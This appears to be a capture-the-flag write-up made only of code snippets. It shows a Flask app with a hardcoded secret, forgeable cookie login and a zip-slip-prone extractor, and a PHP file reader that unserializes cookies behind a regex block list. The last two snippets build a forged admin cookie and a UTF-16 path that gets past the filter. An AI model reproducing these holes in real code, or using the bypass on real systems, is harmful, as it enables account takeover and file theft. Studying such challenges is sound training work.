a ctfer on the load

1
app.secret_key = "dev-secret-change-me"
2
if username == 'admin' and h2 == "7022cd14c42ff272619d6beacdc9ffde":

1
def is_logged_in() -> bool:
2
    return flask.request.cookies.get("visited") == "yes" and bool(flask.request.cookies.get("user"))
3

4

5
def login_required(view):
6
    def wrapped(*args, **kwargs):
7
        if not is_logged_in():
8
            next_url = flask.request.full_path if flask.request.query_string else flask.request.path
9
            return flask.redirect(flask.url_for("login", next=next_url))
10
        return view(*args, **kwargs)
11

12
    wrapped.__name__ = view.__name__
13
    return wrapped

1
def about():
2
    user = flask.request.cookies.get('user')
3

4
    conn = db()
5
    current = conn.execute('SELECT * FROM users WHERE username=?', (user,)).fetchone()
6
    about_text = current['about'] if current else ''
7
    avatar_local = current['avatar_local'] if current else ''
8
    avatar_url = current['avatar_url'] if current else ''
9

10
    if flask.request.method == 'POST':
11
        about_text = flask.request.form.get('about', '')
12
        avatar_url = flask.request.form.get('avatar_url', '')
13

14
        upload = flask.request.files.get('avatar_file')
15
        if upload and upload.filename:
16
            raw = upload.read()
17
            upload.seek(0)
18
            kind = sniff_image_type(raw)
19
            if kind not in {'png', 'jpeg', 'gif', 'webp'}:
20
                conn.close()
21
                return (
22
                    flask.render_template(
23
                        'about.html',
24
                        user=user,
25
                        about=about_text,
26
                        avatar_local=avatar_local,
27
                        avatar_url=avatar_url,
28
                        remote_info=fetch_remote_avatar_info(avatar_url),
29
                        error='头像文件必须是图片（png/jpg/gif/webp）',
30
                    ),
31
                    400,
32
                )
33

34
            fname = f"{uuid4().hex}.{ 'jpg' if kind == 'jpeg' else kind }"
35
            path = AVATAR_DIR / fname
36
            with open(path, 'wb') as f:
37
                f.write(raw)
38
            avatar_local = f"uploads/avatars/{fname}"
39

40
        conn.execute(
41
            'UPDATE users SET about=?, avatar_local=?, avatar_url=? WHERE username=?',
42
            (about_text, avatar_local, avatar_url, user),
43
        )
44
        conn.commit()
45

46
        current = conn.execute('SELECT * FROM users WHERE username=?', (user,)).fetchone()
47
        conn.close()
48

49
        return flask.render_template(
50
            'about.html',
51
            user=user,
52
            about=current['about'],
53
            avatar_local=current['avatar_local'],
54
            avatar_url=current['avatar_url'],
55
            remote_info=fetch_remote_avatar_info(current['avatar_url']),
56
            error=None,
57
        )
58

59
    conn.close()
60
    return flask.render_template(
61
        'about.html',
62
        user=user,
63
        about=about_text,
64
        avatar_local=avatar_local,
65
        avatar_url=avatar_url,
66
        remote_info=fetch_remote_avatar_info(avatar_url),
67
        error=None,
68
    )

1
def safe_upload(zip_path: Path, dest_dir: Path) -> list[str]:
2
    with zipfile.ZipFile(zip_path, 'r') as z:
3
        for info in z.infolist():
4
            target = os.path.join(dest_dir, info.filename)
5
            if info.is_dir():
6
                os.makedirs(target, exist_ok=True)
7
            else:
8
                os.makedirs(os.path.dirname(target), exist_ok=True)
9
                with open(target, 'wb') as f:
10
                    f.write(z.read(info.filename))
11

12
@app.route('/plugin/upload', methods=['GET', 'POST'])
13
@login_required
14
def upload_plugin():
15
    if flask.request.method == 'GET':
16
        return flask.render_template('plugin_upload.html', error=None, ok=None, files=None)
17

18
    file = flask.request.files.get('plugin')
19
    if not file or not file.filename:
20
        return flask.render_template('plugin_upload.html', error='请选择一个 zip 文件', ok=None, files=None), 400
21

22
    filename = secure_filename(file.filename)
23
    if not filename.lower().endswith('.zip'):
24
        return flask.render_template('plugin_upload.html', error='仅支持 .zip 文件', ok=None, files=None), 400
25

26
    saved = UPLOAD_DIR / f"{uuid4().hex}-{filename}"
27
    file.save(saved)
28

29
    dest = PLUGIN_DIR / f"{Path(filename).stem}-{uuid4().hex[:8]}"
30
    dest.mkdir(parents=True, exist_ok=True)
31

32
    try:
33
        print(saved, dest)
34
        extracted = safe_upload(saved, dest)
35
    except Exception:
36
        shutil.rmtree(dest, ignore_errors=True)
37
        return flask.render_template('plugin_upload.html', error='解压失败：压缩包内容不合法', ok=None, files=None), 400
38

39
    return flask.render_template('plugin_upload.html', error=None, ok='上传并解压成功', files=extracted)

1
<?php
2
declare(strict_types=1);
3
require_once __DIR__ . "/lib/User.php";
4
require_once __DIR__ . "/lib/Util.php";
5

6
$user = null;
7
if (isset($_COOKIE['user'])) {
8
    $user = @unserialize($_COOKIE['user']);
9
}
10
if (!$user instanceof User) {
11
    $user = new User("guest");
12
    setcookie("user", serialize($user), time() + 86400, "/");
13
}
14

15
$f = (string)($_GET['f'] ?? "");
16
if ($f === "") {
17
    http_response_code(400);
18
    echo "Missing parameter: f";
19
    exit;
20
}
21

22
$rawPath = $user->basePath . $f;
23

24
if (preg_match('/flag|\/flag|\.\.|php:|data:|expect:/i', $rawPath)) {
25
    http_response_code(403);
26
    echo "Access denied";
27
    exit;
28
}
29

30
$convertedPath = @iconv($user->encoding, "UTF-8//IGNORE", $rawPath);
31
if ($convertedPath === false || $convertedPath === "") {
32
    http_response_code(500);
33
    echo "Conversion failed";
34
    exit;
35
}
36

37
$content = @file_get_contents($convertedPath);
38
if ($content === false) {
39
    http_response_code(404);
40
    echo "Not found";
41
    exit;
42
}
43

44
$displayRaw = $rawPath;
45
$displayConv = $convertedPath;
46
$isText = true;
47

48
for ($i=0; $i<min(strlen($content), 512); $i++) {
49
    $c = ord($content[$i]);
50
    if ($c === 0) { $isText = false; break; }
51
}
52

53
?>

1
<?php
2

3
$f = "/flag";
4
$convertedPath = iconv("UTF-8", "UTF-16", $f);
5
echo urlencode($convertedPath);

1
<?php
2

3
class User {
4
    public string $name = "admin";
5
    public string $encoding = "UTF-16";
6
    public string $basePath = "";
7

8
    public function __construct(string $name = "admin") {
9
        $this->name = $name;
10
    }
11
}
12

13
echo urlencode(serialize(new User()));